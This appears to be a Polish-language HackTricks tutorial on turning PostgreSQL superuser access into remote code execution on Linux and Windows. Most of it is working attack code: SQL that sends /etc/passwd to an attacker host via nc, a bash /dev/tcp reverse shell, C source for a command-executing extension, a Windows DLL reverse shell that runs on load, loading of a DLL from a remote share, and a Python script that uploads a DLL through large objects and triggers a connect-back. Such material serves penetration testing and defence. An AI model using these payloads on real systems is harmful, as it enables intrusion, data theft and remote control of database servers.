RCE with PostgreSQL Extensions

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Rozszerzenia PostgreSQL

PostgreSQL został opracowany z myślą o rozszerzalności jako podstawowej funkcji, co pozwala na bezproblemowe integrowanie rozszerzeń tak, jakby były wbudowanymi funkcjonalnościami. Te rozszerzenia, będące bibliotekami napisanymi w języku C, wzbogacają bazę danych o dodatkowe funkcje, operatory lub typy.

Od wersji 8.1 na rozszerzenia narzucone jest określone wymaganie: muszą być skompilowane z specjalnym nagłówkiem. Bez tego PostgreSQL nie będzie ich wykonywał, zapewniając tym samym użycie tylko zgodnych i potencjalnie bezpiecznych rozszerzeń.

Pamiętaj również, że jeśli nie wiesz, jak przesyłać pliki do ofiary, wykorzystując podatność PostgreSQL, powinieneś przeczytać ten post.

RCE w systemie Linux

Aby uzyskać więcej informacji, sprawdź: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Wykonanie poleceń systemowych z PostgreSQL w wersjach 8.1 i wcześniejszych jest procesem, który został jasno udokumentowany i jest prosty. Można to zrobić za pomocą tego: modułu Metasploit.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Zapisz plik binarny z base64

Aby zapisać plik binarny do pliku w postgresie, możesz potrzebować użycia base64, oto pomocne informacje na ten temat:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Jednakże, przy próbie wykonania na wyższych wersjach wyświetlony został następujący błąd:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Ten błąd jest wyjaśniony w dokumentacji PostgreSQL:

Aby upewnić się, że plik obiektowy ładowany dynamicznie nie jest ładowany do niezgodnego serwera, PostgreSQL sprawdza, czy plik zawiera „magiczny blok” o odpowiedniej zawartości. Pozwala to serwerowi wykryć oczywiste niezgodności, takie jak kod skompilowany dla innej głównej wersji PostgreSQL. Magiczny blok jest wymagany od wersji PostgreSQL 8.2. Aby dołączyć magiczny blok, należy to napisać w jednym (i tylko jednym) z plików źródłowych modułu, po dołączeniu nagłówka fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Od wersji PostgreSQL 8.2 proces wykorzystania systemu przez atakującego został utrudniony. Atakujący musi albo użyć biblioteki, która już jest obecna w systemie, albo przesłać niestandardową bibliotekę. Ta niestandardowa biblioteka musi być skompilowana zgodnie z główną wersją PostgreSQL i musi zawierać określony „magiczny blok”. Ta środek znacznie zwiększa trudność wykorzystania systemów PostgreSQL, ponieważ wymaga głębszego zrozumienia architektury systemu i zgodności wersji.

Skompiluj bibliotekę

Pobierz wersję PostgreSQL za pomocą:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Aby zapewnić kompatybilność, konieczne jest dopasowanie głównych wersji. Dlatego kompilacja biblioteki z dowolną wersją z serii 9.6.x powinna zagwarantować pomyślne zintegrowanie.

Aby zainstalować tę wersję na swoim systemie:

apt install postgresql postgresql-server-dev-9.6

I skompiluj bibliotekę:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Następnie przesłać skompilowaną bibliotekę i wykonać polecenia za pomocą:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Możesz znaleźć tę bibliotekę skompilowaną dla różnych wersji PostgreSQL i nawet zautomatyzować ten proces (jeśli masz dostęp do PostgreSQL) za pomocą:

RCE w systemie Windows

Następująca biblioteka DLL przyjmuje jako dane wejściowe nazwę pliku binarnego i liczbę razy, jaką chcesz go wykonać, a następnie go wykonuje:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Możesz znaleźć skompilowany plik DLL w tym archiwum:

Możesz wskazać temu plikowi DLL który plik binarny ma zostać wykonany oraz ile razy ma być wykonany. W tym przykładzie zostanie wykonane calc.exe 2 razy:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

W tutaj znajdziesz ten odwrócony shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Zauważ, że w tym przypadku złośliwy kod znajduje się w funkcji DllMain. Oznacza to, że w tym przypadku nie jest konieczne wykonanie załadowanej funkcji w postgresql, wystarczy załadować DLL, aby wykonać odwróconą powłokę:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE w najnowszych wersjach PostgreSQL

W najnowszych wersjach PostgreSQL wprowadzono ograniczenia, które zabraniają użytkownikowi superuser wczytywania plików bibliotek współdzielonych z wyjątkiem określonych katalogów, takich jak C:\Program Files\PostgreSQL\11\lib w systemach Windows lub /var/lib/postgresql/11/lib w systemach *nix. Te katalogi są zabezpieczone przed operacjami zapisu przez konta NETWORK_SERVICE lub postgres.

Mimo tych ograniczeń, zalogowany użytkownik bazy danych superuser może zapisywać pliki binarne na systemie plików za pomocą "dużych obiektów". Ta możliwość obejmuje zapisywanie w katalogu C:\Program Files\PostgreSQL\11\data, który jest niezbędny do operacji na bazie danych, takich jak aktualizacja lub tworzenie tabel.

Poważna podatność wynika z polecenia CREATE FUNCTION, które umożliwia nawigację po katalogach w katalogu danych. W rezultacie zalogowany atakujący może wykorzystać tę nawigację do zapisania pliku biblioteki współdzielonej w katalogu danych, a następnie go wczytać. Ten atak umożliwia wykonanie dowolnego kodu, osiągając wykonanie kodu natywnego na systemie.

Przebieg ataku

Przede wszystkim musisz użyć dużych obiektów do przesłania pliku DLL. Możesz zobaczyć, jak to zrobić tutaj:

pageBig Binary Files Upload (PostgreSQL)

Po przesłaniu rozszerzenia (o nazwie poc.dll w tym przykładzie) do katalogu danych, możesz je wczytać za pomocą:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Należy zauważyć, że nie trzeba dodawać rozszerzenia .dll, ponieważ funkcja create je automatycznie dodaje.

Aby uzyskać więcej informacji, przeczytaj oryginalną publikację tutaj. W tej publikacji ten kod został użyty do wygenerowania rozszerzenia postgres tutaj (aby dowiedzieć się, jak skompilować rozszerzenie postgres, przeczytaj jedną z poprzednich wersji). Na tej samej stronie podano exploit do automatyzacji tej techniki:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Last updated